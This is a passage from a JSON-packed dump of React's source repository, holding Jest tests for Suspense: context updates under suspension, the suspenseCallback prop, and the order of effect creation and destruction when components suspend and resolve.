forwardRef(function MemoizedChild() {\n        const text = useContext(ValueContext);\n        return <Text text={readText(text)} />;\n      });\n\n      let setValue;\n      function App() {\n        const [value, _setValue] = useState('default');\n        setValue = _setValue;\n\n        return (\n          <ValueContext.Provider value={value}>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <MemoizedChild />\n            </Suspense>\n          </ValueContext.Provider>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog(['Suspend! [default]', 'Loading...']);\n\n      await resolveText('default');\n      assertLog(['default']);\n      expect(container.textContent).toEqual('default');\n\n      await act(() => setValue('new value'));\n      assertLog(['Suspend! [new value]', 'Loading...']);\n\n      await resolveText('new value');\n      assertLog(['new value']);\n      expect(container.textContent).toEqual('new value');\n    });\n\n    // @gate !disableLegacyMode\n    it('updates context consumer within child of suspended suspense component when context updates', async () => {\n      const {createContext, useState} = React;\n\n      const ValueContext = createContext(null);\n\n      const promiseThatNeverResolves = new Promise(() => {});\n      function Child() {\n        return (\n          <ValueContext.Consumer>\n            {value => {\n              Scheduler.log(`Received context value [${value}]`);\n              if (value === 'default') return <Text text=\"default\" />;\n              throw promiseThatNeverResolves;\n            }}\n          </ValueContext.Consumer>\n        );\n      }\n\n      let setValue;\n      function Wrapper({children}) {\n        const [value, _setValue] = useState('default');\n        setValue = _setValue;\n        return (\n          <ValueContext.Provider value={value}>\n            {children}\n          </ValueContext.Provider>\n        );\n      }\n\n      function App() {\n        return (\n          <Wrapper>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Child />\n            </Suspense>\n          </Wrapper>\n        );\n      }\n\n      ReactDOM.render(<App />, container);\n      assertLog(['Received context value [default]', 'default']);\n      expect(container.textContent).toEqual('default');\n\n      await act(() => setValue('new value'));\n      assertLog(['Received context value [new value]', 'Loading...']);\n      expect(container.textContent).toEqual('Loading...');\n\n      await act(() => setValue('default'));\n      assertLog(['Received context value [default]', 'default']);\n      expect(container.textContent).toEqual('default');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseCallback-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet waitForAll;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactSuspense', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    act = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function createThenable() {\n    let completed = false;\n    let resolve;\n    const promise = new Promise(res => {\n      resolve = () => {\n        completed = true;\n        res();\n      };\n    });\n    const PromiseComp = () => {\n      if (!completed) {\n        throw promise;\n      }\n      return 'Done';\n    };\n    return {promise, resolve, PromiseComp};\n  }\n\n  // Warning don't fire in production, so this test passes in prod even if\n  // the suspenseCallback feature is not enabled\n  // @gate enableSuspenseCallback || !__DEV__\n  it('check type', async () => {\n    const {PromiseComp} = createThenable();\n\n    const elementBadType = (\n      <React.Suspense suspenseCallback={1} fallback={'Waiting'}>\n        <PromiseComp />\n      </React.Suspense>\n    );\n\n    ReactNoop.render(elementBadType);\n    await waitForAll([]);\n    assertConsoleErrorDev(\n      [\n        'Unexpected type for suspenseCallback.',\n        ...(gate('alwaysThrottleRetries')\n          ? []\n          : ['Unexpected type for suspenseCallback.']),\n      ],\n      {\n        withoutStack: true,\n      },\n    );\n\n    const elementMissingCallback = (\n      <React.Suspense fallback={'Waiting'}>\n        <PromiseComp />\n      </React.Suspense>\n    );\n\n    ReactNoop.render(elementMissingCallback);\n    await waitForAll([]);\n    assertConsoleErrorDev([]);\n  });\n\n  // @gate enableSuspenseCallback\n  it('1 then 0 suspense callback', async () => {\n    const {promise, resolve, PromiseComp} = createThenable();\n\n    let ops = [];\n    const suspenseCallback = thenables => {\n      ops.push(thenables);\n    };\n\n    const element = (\n      <React.Suspense suspenseCallback={suspenseCallback} fallback={'Waiting'}>\n        <PromiseComp />\n      </React.Suspense>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Waiting');\n    expect(ops).toEqual([\n      new Set([promise]),\n      ...(gate('alwaysThrottleRetries') ? [] : new Set([promise])),\n    ]);\n    ops = [];\n\n    await act(() => resolve());\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Done');\n    expect(ops).toEqual([]);\n  });\n\n  // @gate enableSuspenseCallback\n  it('2 then 1 then 0 suspense callback', async () => {\n    const {\n      promise: promise1,\n      resolve: resolve1,\n      PromiseComp: PromiseComp1,\n    } = createThenable();\n    const {\n      promise: promise2,\n      resolve: resolve2,\n      PromiseComp: PromiseComp2,\n    } = createThenable();\n\n    let ops = [];\n    const suspenseCallback1 = thenables => {\n      ops.push(thenables);\n    };\n\n    const element = (\n      <React.Suspense\n        suspenseCallback={suspenseCallback1}\n        fallback={'Waiting Tier 1'}>\n        <PromiseComp1 />\n        <PromiseComp2 />\n      </React.Suspense>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 1');\n    expect(ops).toEqual([\n      new Set([promise1]),\n      ...(gate('alwaysThrottleRetries') ? [] : new Set([promise1, promise2])),\n    ]);\n    ops = [];\n\n    await act(() => resolve1());\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 1');\n    expect(ops).toEqual([\n      new Set([promise2]),\n      // pre-warming\n      new Set([promise2]),\n    ]);\n    ops = [];\n\n    await act(() => resolve2());\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('DoneDone');\n    expect(ops).toEqual([]);\n  });\n\n  // @gate enableSuspenseCallback\n  it('nested suspense promises are reported only for their tier', async () => {\n    const {promise, PromiseComp} = createThenable();\n\n    const ops1 = [];\n    const suspenseCallback1 = thenables => {\n      ops1.push(thenables);\n    };\n    const ops2 = [];\n    const suspenseCallback2 = thenables => {\n      ops2.push(thenables);\n    };\n\n    const element = (\n      <React.Suspense\n        suspenseCallback={suspenseCallback1}\n        fallback={'Waiting Tier 1'}>\n        <React.Suspense\n          suspenseCallback={suspenseCallback2}\n          fallback={'Waiting Tier 2'}>\n          <PromiseComp />\n        </React.Suspense>\n      </React.Suspense>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 2');\n    expect(ops1).toEqual([]);\n    expect(ops2).toEqual([\n      new Set([promise]),\n      ...(gate('alwaysThrottleRetries') ? [] : [new Set([promise])]),\n    ]);\n  });\n\n  // @gate enableSuspenseCallback\n  it('competing suspense promises', async () => {\n    const {\n      promise: promise1,\n      resolve: resolve1,\n      PromiseComp: PromiseComp1,\n    } = createThenable();\n    const {\n      promise: promise2,\n      resolve: resolve2,\n      PromiseComp: PromiseComp2,\n    } = createThenable();\n\n    let ops1 = [];\n    const suspenseCallback1 = thenables => {\n      ops1.push(thenables);\n    };\n    let ops2 = [];\n    const suspenseCallback2 = thenables => {\n      ops2.push(thenables);\n    };\n\n    const element = (\n      <React.Suspense\n        suspenseCallback={suspenseCallback1}\n        fallback={'Waiting Tier 1'}>\n        <React.Suspense\n          suspenseCallback={suspenseCallback2}\n          fallback={'Waiting Tier 2'}>\n          <PromiseComp2 />\n        </React.Suspense>\n        <PromiseComp1 />\n      </React.Suspense>\n    );\n\n    ReactNoop.render(element);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 1');\n    expect(ops1).toEqual([new Set([promise1])]);\n    expect(ops2).toEqual([]);\n    ops1 = [];\n    ops2 = [];\n\n    await act(() => resolve1());\n    expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 2Done');\n    expect(ops1).toEqual([]);\n    expect(ops2).toEqual([new Set([promise2]), new Set([promise2])]);\n    ops1 = [];\n    ops2 = [];\n\n    await act(() => resolve2());\n    expect(ReactNoop).toMatchRenderedOutput('DoneDone');\n    expect(ops1).toEqual([]);\n    expect(ops2).toEqual([]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemantics-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Suspense;\nlet getCacheForType;\nlet caches;\nlet seededCache;\nlet ErrorBoundary;\nlet waitForAll;\nlet waitFor;\nlet assertLog;\n\n// TODO: These tests don't pass in persistent mode yet. Need to implement.\n\ndescribe('ReactSuspenseEffectsSemantics', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Suspense = React.Suspense;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n\n    caches = [];\n    seededCache = null;\n\n    ErrorBoundary = class extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary render: catch');\n          return this.props.fallback;\n        }\n        Scheduler.log('ErrorBoundary render: try');\n        return this.props.children;\n      }\n    };\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend:${text}`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error:${text}`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend:${text}`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({children = null, text}) {\n    Scheduler.log(`Text:${text} render`);\n    React.useInsertionEffect(() => {\n      Scheduler.log(`Text:${text} create insertion`);\n      return () => {\n        Scheduler.log(`Text:${text} destroy insertion`);\n      };\n    }, []);\n\n    React.useLayoutEffect(() => {\n      Scheduler.log(`Text:${text} create layout`);\n      return () => {\n        Scheduler.log(`Text:${text} destroy layout`);\n      };\n    }, []);\n    React.useEffect(() => {\n      Scheduler.log(`Text:${text} create passive`);\n      return () => {\n        Scheduler.log(`Text:${text} destroy passive`);\n      };\n    }, []);\n    return <span prop={text}>{children}</span>;\n  }\n\n  function AsyncText({children = null, text}) {\n    readText(text);\n    Scheduler.log(`AsyncText:${text} render`);\n    React.useLayoutEffect(() => {\n      Scheduler.log(`AsyncText:${text} create layout`);\n      return () => {\n        Scheduler.log(`AsyncText:${text} destroy layout`);\n      };\n    }, []);\n    React.useEffect(() => {\n      Scheduler.log(`AsyncText:${text} create passive`);\n      return () => {\n        Scheduler.log(`AsyncText:${text} destroy passive`);\n      };\n    }, []);\n    return <span prop={text}>{children}</span>;\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  function advanceTimers(ms) {\n    // Note: This advances Jest's virtual time but not React's. Use\n    // ReactNoop.expire for that.\n    if (typeof ms !== 'number') {\n      throw new Error('Must specify ms');\n    }\n    jest.advanceTimersByTime(ms);\n    // Wait until the end of the current tick\n    // We cannot use a timer since we're faking them\n    return Promise.resolve().then(() => {});\n  }\n\n  describe('when a component suspends during initial mount', () => {\n    // @gate enableLegacyCache\n    it('should not change behavior in concurrent mode', async () => {\n      class ClassText extends React.Component {\n        componentDidMount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidMount`);\n        }\n        componentDidUpdate() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidUpdate`);\n        }\n        componentWillUnmount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentWillUnmount`);\n        }\n        render() {\n          const {children, text} = this.props;\n          Scheduler.log(`ClassText:${text} render`);\n          return <span prop={text}>{children}</span>;\n        }\n      }\n\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Fallback\" />}>\n              <Text text=\"Inside:Before\" />\n              {children}\n              <ClassText text=\"Inside:After\" />\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount and suspend.\n      await act(() => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n      });\n      assertLog([\n        'App render',\n        'Text:Inside:Before render',\n        'Suspend:Async',\n        'Text:Fallback render',\n        'Text:Outside render',\n        'Text:Fallback create insertion',\n        'Text:Outside create insertion',\n        'Text:Fallback create layout',\n        'Text:Outside create layout',\n        'App create layout',\n        'Text:Fallback create passive',\n        'Text:Outside create passive',\n        'App create passive',\n        // pre-warming\n        'Text:Inside:Before render',\n        'Suspend:Async',\n        'ClassText:Inside:After render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Fallback\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'Text:Inside:Before render',\n        'AsyncText:Async render',\n        'ClassText:Inside:After render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'Text:Inside:Before create insertion',\n        'Text:Inside:Before create layout',\n        'AsyncText:Async create layout',\n        'ClassText:Inside:After componentDidMount',\n        'Text:Fallback destroy passive',\n        'Text:Inside:Before create passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Async\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'Text:Inside:Before destroy insertion',\n        'Text:Inside:Before destroy layout',\n        'AsyncText:Async destroy layout',\n        'ClassText:Inside:After componentWillUnmount',\n        'Text:Outside destroy insertion',\n        'Text:Outside destroy layout',\n        'App destroy passive',\n        'Text:Inside:Before destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Outside destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('should not change behavior in sync', async () => {\n      class ClassText extends React.Component {\n        componentDidMount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidMount`);\n        }\n        componentDidUpdate() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidUpdate`);\n        }\n        componentWillUnmount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentWillUnmount`);\n        }\n        render() {\n          const {children, text} = this.props;\n          Scheduler.log(`ClassText:${text} render`);\n          return <span prop={text}>{children}</span>;\n        }\n      }\n\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Fallback\" />}>\n              <Text text=\"Inside:Before\" />\n              {children}\n              <ClassText text=\"Inside:After\" />\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount and suspend.\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n      });\n      assertLog([\n        'App render',\n        'Text:Inside:Before render',\n        'Suspend:Async',\n        'ClassText:Inside:After render',\n        'Text:Fallback render',\n        'Text:Outside render',\n        'Text:Inside:Before create insertion',\n        'Text:Fallback create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside:Before create layout',\n        'ClassText:Inside:After componentDidMount',\n        'Text:Fallback create layout',\n        'Text:Outside create layout',\n        'App create layout',\n        'Text:Inside:Before create passive',\n        'Text:Fallback create passive',\n        'Text:Outside create passive',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" hidden={true} />\n          <span prop=\"Inside:After\" hidden={true} />\n          <span prop=\"Fallback\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Async\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'Text:Inside:Before destroy insertion',\n        'Text:Inside:Before destroy layout',\n        'AsyncText:Async destroy layout',\n        'ClassText:Inside:After componentWillUnmount',\n        'Text:Outside destroy insertion',\n        'Text:Outside destroy layout',\n        'App destroy passive',\n        'Text:Inside:Before destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Outside destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n  });\n\n  describe('effects within a tree that re-suspends in an update', () => {\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('should not be destroyed or recreated in legacy roots', async () => {\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Fallback\" />}>\n              <Text text=\"Inside:Before\" />\n              {children}\n              <Text text=\"Inside:After\" />\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(<App />);\n      });\n      assertLog([\n        'App render',\n        'Text:Inside:Before render',\n        'Text:Inside:After render',\n        'Text:Outside render',\n        'Text:Inside:Before create insertion',\n        'Text:Inside:After create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside:Before create layout',\n        'Text:Inside:After create layout',\n        'Text:Outside create layout',\n        'App create layout',\n        'Text:Inside:Before create passive',\n        'Text:Inside:After create passive',\n        'Text:Outside create passive',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n      });\n      assertLog([\n        'App render',\n        'Text:Inside:Before render',\n        'Suspend:Async',\n        'Text:Inside:After render',\n        'Text:Fallback render',\n        'Text:Outside render',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" hidden={true} />\n          <span prop=\"Inside:After\" hidden={true} />\n          <span prop=\"Fallback\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      await advanceTimers(1000);\n\n      // Noop since sync root has already committed\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" hidden={true} />\n          <span prop=\"Inside:After\" hidden={true} />\n          <span prop=\"Fallback\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Async\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'Text:Inside:Before destroy insertion',\n        'Text:Inside:Before destroy layout',\n        'AsyncText:Async destroy layout',\n        'Text:Inside:After destroy insertion',\n        'Text:Inside:After destroy layout',\n        'Text:Outside destroy insertion',\n        'Text:Outside destroy layout',\n        'App destroy passive',\n        'Text:Inside:Before destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Inside:After destroy passive',\n        'Text:Outside destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should be destroyed and recreated for function components', async () => {\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <>\n            <Suspense fallback={<Text text=\"Fallback\" />}>\n              <Text text=\"Inside:Before\" />\n              {children}\n              <Text text=\"Inside:After\" />\n            </Suspense>\n            <Text text=\"Outside\" />\n          </>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'Text:Inside:Before render',\n        'Text:Inside:After render',\n        'Text:Outside render',\n        'Text:Inside:Before create insertion',\n        'Text:Inside:After create insertion',\n        'Text:Outside create insertion',\n        'Text:Inside:Before create layout',\n        'Text:Inside:After create layout',\n        'Text:Outside create layout',\n        'App create layout',\n        'Text:Inside:Before create passive',\n        'Text:Inside:After create passive',\n        'Text:Outside create passive',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(async () => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n        await waitFor([\n          'App render',\n          'Text:Inside:Before render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n          'Text:Inside:Before destroy layout',\n          'Text:Inside:After destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n        ]);\n        await waitForAll([\n          'Text:Fallback create passive',\n          // pre-warming\n          'Text:Inside:Before render',\n          'Suspend:Async',\n          'Text:Inside:After render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Inside:Before\" hidden={true} />\n            <span prop=\"Inside:After\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n      });\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'Text:Inside:Before render',\n        'AsyncText:Async render',\n        'Text:Inside:After render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'Text:Inside:Before create layout',\n        'AsyncText:Async create layout',\n        'Text:Inside:After create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Async\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout',\n        'Text:Inside:Before destroy insertion',\n        'Text:Inside:Before destroy layout',\n        'AsyncText:Async destroy layout',\n        'Text:Inside:After destroy insertion',\n        'Text:Inside:After destroy layout',\n        'Text:Outside destroy insertion',\n        'Text:Outside destroy layout',\n        'App destroy passive',\n        'Text:Inside:Before destroy passive',\n        'AsyncText:Async destroy passive',\n        'Text:Inside:After destroy passive',\n        'Text:Outside destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should be destroyed and recreated for class components', async () => {\n      class ClassText extends React.Component {\n        componentDidMount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidMount`);\n        }\n        componentDidUpdate() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidUpdate`);\n        }\n        componentWillUnmount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentWillUnmount`);\n        }\n        render() {\n          const {children, text} = this.props;\n          Scheduler.log(`ClassText:${text} render`);\n          return <span prop={text}>{children}</span>;\n        }\n      }\n\n      function App({children = null}) {\n        Scheduler.log('App render');\n        React.useLayoutEffect(() => {\n          Scheduler.log('App create layout');\n          return () => {\n            Scheduler.log('App destroy layout');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('App create passive');\n          return () => {\n            Scheduler.log('App destroy passive');\n          };\n        }, []);\n        return (\n          <>\n            <Suspense fallback={<ClassText text=\"Fallback\" />}>\n              <ClassText text=\"Inside:Before\" />\n              {children}\n              <ClassText text=\"Inside:After\" />\n            </Suspense>\n            <ClassText text=\"Outside\" />\n          </>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'ClassText:Inside:Before render',\n        'ClassText:Inside:After render',\n        'ClassText:Outside render',\n        'ClassText:Inside:Before componentDidMount',\n        'ClassText:Inside:After componentDidMount',\n        'ClassText:Outside componentDidMount',\n        'App create layout',\n        'App create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span prop=\"Inside:After\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(async () => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async\" />\n          </App>,\n        );\n\n        await waitFor([\n          'App render',\n          'ClassText:Inside:Before render',\n          'Suspend:Async',\n          'ClassText:Fallback render',\n          'ClassText:Outside render',\n          'ClassText:Inside:Before componentWillUnmount',\n          'ClassText:Inside:After componentWillUnmount',\n          'ClassText:Fallback componentDidMount',\n          'ClassText:Outside componentDidUpdate',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Inside:Before\" hidden={true} />\n            <span prop=\"Inside:After\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n      });\n      // pre-warming\n      assertLog([\n        'ClassText:Inside:Before render',\n        'Suspend:Async',\n        'ClassText:Inside:After render',\n      ]);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'ClassText:Inside:Before render',\n        'AsyncText:Async render',\n        'ClassText:Inside:After render',\n        'ClassText:Fallback componentWillUnmount',\n        'ClassText:Inside:Before componentDidMount',\n        'AsyncText:Async create layout',\n        'ClassText:Inside:After componentDidMount',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Inside:Before\" />\n          <span 